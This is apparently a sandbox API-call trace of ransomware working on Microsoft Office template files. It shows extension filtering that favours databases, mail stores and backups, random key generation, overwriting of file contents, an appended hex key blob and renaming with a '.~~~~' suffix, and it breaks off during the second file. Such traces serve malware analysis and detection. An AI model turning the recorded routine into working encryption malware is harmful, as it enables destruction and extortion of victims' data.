	[0144.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0144.076] lstrlenW (lpString=".sqb") returned 4
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".sqb") returned 0x0
	[0144.076] lstrlenW (lpString=".ost") returned 4
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".ost") returned 0x0
	[0144.076] lstrlenW (lpString=".txt") returned 4
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".txt") returned 0x0
	[0144.076] lstrlenW (lpString=".mdt") returned 4
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".mdt") returned 0x0
	[0144.076] lstrlenW (lpString=".BDB") returned 4
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".BDB") returned 0x0
	[0144.076] lstrlenW (lpString=".eql") returned 4
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".eql") returned 0x0
	[0144.076] lstrlenW (lpString=".DBF") returned 4
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".DBF") returned 0x0
	[0144.076] lstrlenW (lpString=".EQL") returned 4
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".EQL") returned 0x0
	[0144.076] lstrlenW (lpString=".FDB") returned 4
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".FDB") returned 0x0
	[0144.076] lstrlenW (lpString=".EDB") returned 4
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".EDB") returned 0x0
	[0144.076] lstrlenW (lpString=".DACPAC") returned 7
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".DACPAC") returned 0x0
	[0144.076] lstrlenW (lpString=".VHD") returned 4
	[0144.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".VHD") returned 0x0
	[0144.077] lstrlenW (lpString=".DBV") returned 4
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".DBV") returned 0x0
	[0144.077] lstrlenW (lpString=".dacpac") returned 7
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".dacpac") returned 0x0
	[0144.077] lstrlenW (lpString=".sdf") returned 4
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".sdf") returned 0x0
	[0144.077] lstrlenW (lpString=".accdb") returned 6
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".accdb") returned 0x0
	[0144.077] lstrlenW (lpString=".DBX") returned 4
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".DBX") returned 0x0
	[0144.077] lstrlenW (lpString=".MDT") returned 4
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".MDT") returned 0x0
	[0144.077] lstrlenW (lpString=".SQB") returned 4
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".SQB") returned 0x0
	[0144.077] lstrlenW (lpString=".vhd") returned 4
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".vhd") returned 0x0
	[0144.077] lstrlenW (lpString=".bac") returned 4
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".bac") returned 0x0
	[0144.077] lstrlenW (lpString=".mdf") returned 4
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".mdf") returned 0x0
	[0144.077] lstrlenW (lpString=".BAK") returned 4
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".BAK") returned 0x0
	[0144.077] lstrlenW (lpString=".BAC") returned 4
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".BAC") returned 0x0
	[0144.077] lstrlenW (lpString=".dbs") returned 4
	[0144.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".dbs") returned 0x0
	[0144.078] lstrlenW (lpString=".vhdx") returned 5
	[0144.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".vhdx") returned 0x0
	[0144.078] lstrlenW (lpString=".NDF") returned 4
	[0144.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".NDF") returned 0x0
	[0144.078] lstrlenW (lpString=".dat") returned 4
	[0144.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".dat") returned 0x0
	[0144.078] lstrlenW (lpString=".DBS") returned 4
	[0144.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".DBS") returned 0x0
	[0144.078] lstrlenW (lpString=".CKP") returned 4
	[0144.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".CKP") returned 0x0
	[0144.078] lstrlenW (lpString=".edb") returned 4
	[0144.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".edb") returned 0x0
	[0144.078] lstrlenW (lpString=".PST") returned 4
	[0144.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".PST") returned 0x0
	[0144.078] lstrlenW (lpString=".dbf") returned 4
	[0144.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".dbf") returned 0x0
	[0144.078] lstrlenW (lpString=".SQL") returned 4
	[0144.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".SQL") returned 0x0
	[0144.078] lstrlenW (lpString=".pst") returned 4
	[0144.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".pst") returned 0x0
	[0144.078] lstrlenW (lpString=".dbv") returned 4
	[0144.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".dbv") returned 0x0
	[0144.078] lstrlenW (lpString=".SDF") returned 4
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".SDF") returned 0x0
	[0144.079] lstrlenW (lpString=".dtxs") returned 5
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".dtxs") returned 0x0
	[0144.079] lstrlenW (lpString=".db3") returned 4
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".db3") returned 0x0
	[0144.079] lstrlenW (lpString=".OST") returned 4
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".OST") returned 0x0
	[0144.079] lstrlenW (lpString=".dbx") returned 4
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".dbx") returned 0x0
	[0144.079] lstrlenW (lpString=".DB3") returned 4
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".DB3") returned 0x0
	[0144.079] lstrlenW (lpString=".DAT") returned 4
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".DAT") returned 0x0
	[0144.079] lstrlenW (lpString=".VHDX") returned 5
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".VHDX") returned 0x0
	[0144.079] lstrlenW (lpString=".ndf") returned 4
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".ndf") returned 0x0
	[0144.079] lstrlenW (lpString=".DB") returned 3
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".DB") returned 0x0
	[0144.079] lstrlenW (lpString=".sql") returned 4
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".sql") returned 0x0
	[0144.079] lstrlenW (lpString=".MYD") returned 4
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".MYD") returned 0x0
	[0144.079] lstrlenW (lpString=".DBT") returned 4
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".DBT") returned 0x0
	[0144.079] lstrlenW (lpString=".ACCDB") returned 6
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".ACCDB") returned 0x0
	[0144.079] lstrlenW (lpString=".fdb") returned 4
	[0144.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".fdb") returned 0x0
	[0144.079] lstrlenW (lpString=".bak") returned 4
	[0144.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".bak") returned 0x0
	[0144.080] lstrlenW (lpString=".myd") returned 4
	[0144.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".myd") returned 0x0
	[0144.080] lstrlenW (lpString=".DTXS") returned 5
	[0144.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".DTXS") returned 0x0
	[0144.080] lstrlenW (lpString=".ckp") returned 4
	[0144.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".ckp") returned 0x0
	[0144.080] lstrlenW (lpString=".dbt") returned 4
	[0144.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".dbt") returned 0x0
	[0144.080] lstrlenW (lpString=".db") returned 3
	[0144.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".db") returned 0x0
	[0144.080] lstrlenW (lpString=".TXT") returned 4
	[0144.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".TXT") returned 0x0
	[0144.080] lstrlenW (lpString=".MDF") returned 4
	[0144.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".MDF") returned 0x0
	[0144.080] lstrlenW (lpString=".bdb") returned 4
	[0144.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".bdb") returned 0x0
	[0144.080] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.080] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0144.081] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.081] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.082] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26407170011) returned 1
	[0144.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf48f670, dwHighDateTime=0x1d60e1e)) 
	[0144.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2710
	[0144.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2710 | out: hHeap=0x300000) returned 1
	[0144.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac518
	[0144.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac518 | out: hHeap=0x300000) returned 1
	[0144.082] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0144.082] GetLastError () returned 0x0
	[0144.083] GetLastError () returned 0x0
	[0144.083] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0144.083] GetLastError () returned 0x0
	[0144.083] GetLastError () returned 0x0
	[0144.083] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x20f8, lpOverlapped=0x0) returned 1
	[0144.085] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffdf08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.085] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x20f8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x20f8, lpOverlapped=0x0) returned 1
	[0144.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.085] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.085] WriteFile (in: hFile=0x10c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.085] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.085] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.086] CloseHandle (hObject=0x10c) returned 1
	[0144.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39ae80
	[0144.086] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx.~~~~")) returned 1
	[0144.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ae80 | out: hHeap=0x300000) returned 1
	[0144.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.088] GetLastError () returned 0x0
	[0144.088] RtlWakeConditionVariable () returned 0x0
	[0144.088] GetCurrentThreadId () returned 0x9cc
	[0144.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".scr") returned 0x0
	[0144.088] lstrlenW (lpString=".cmd") returned 4
	[0144.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".cmd") returned 0x0
	[0144.088] lstrlenW (lpString=".dll") returned 4
	[0144.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".dll") returned 0x0
	[0144.088] lstrlenW (lpString=".bat") returned 4
	[0144.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".bat") returned 0x0
	[0144.088] lstrlenW (lpString=".cpl") returned 4
	[0144.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".cpl") returned 0x0
	[0144.089] lstrlenW (lpString=".sys") returned 4
	[0144.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".sys") returned 0x0
	[0144.089] lstrlenW (lpString=".msc") returned 4
	[0144.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".msc") returned 0x0
	[0144.089] lstrlenW (lpString=".com") returned 4
	[0144.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".com") returned 0x0
	[0144.089] lstrlenW (lpString=".lnk") returned 4
	[0144.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".lnk") returned 0x0
	[0144.089] lstrlenW (lpString=".msp") returned 4
	[0144.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".msp") returned 0x0
	[0144.089] lstrlenW (lpString=".pif") returned 4
	[0144.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".pif") returned 0x0
	[0144.089] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0144.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0144.091] lstrlenW (lpString=".sqb") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".sqb") returned 0x0
	[0144.091] lstrlenW (lpString=".ost") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".ost") returned 0x0
	[0144.091] lstrlenW (lpString=".txt") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".txt") returned 0x0
	[0144.091] lstrlenW (lpString=".mdt") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".mdt") returned 0x0
	[0144.091] lstrlenW (lpString=".BDB") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".BDB") returned 0x0
	[0144.091] lstrlenW (lpString=".eql") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".eql") returned 0x0
	[0144.091] lstrlenW (lpString=".DBF") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".DBF") returned 0x0
	[0144.091] lstrlenW (lpString=".EQL") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".EQL") returned 0x0
	[0144.091] lstrlenW (lpString=".FDB") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".FDB") returned 0x0
	[0144.091] lstrlenW (lpString=".EDB") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".EDB") returned 0x0
	[0144.091] lstrlenW (lpString=".DACPAC") returned 7
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".DACPAC") returned 0x0
	[0144.091] lstrlenW (lpString=".VHD") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".VHD") returned 0x0
	[0144.091] lstrlenW (lpString=".DBV") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".DBV") returned 0x0
	[0144.091] lstrlenW (lpString=".dacpac") returned 7
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".dacpac") returned 0x0
	[0144.091] lstrlenW (lpString=".sdf") returned 4
	[0144.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".sdf") returned 0x0
	[0144.092] lstrlenW (lpString=".accdb") returned 6
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".accdb") returned 0x0
	[0144.092] lstrlenW (lpString=".DBX") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".DBX") returned 0x0
	[0144.092] lstrlenW (lpString=".MDT") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".MDT") returned 0x0
	[0144.092] lstrlenW (lpString=".SQB") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".SQB") returned 0x0
	[0144.092] lstrlenW (lpString=".vhd") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".vhd") returned 0x0
	[0144.092] lstrlenW (lpString=".bac") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".bac") returned 0x0
	[0144.092] lstrlenW (lpString=".mdf") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".mdf") returned 0x0
	[0144.092] lstrlenW (lpString=".BAK") returned 4
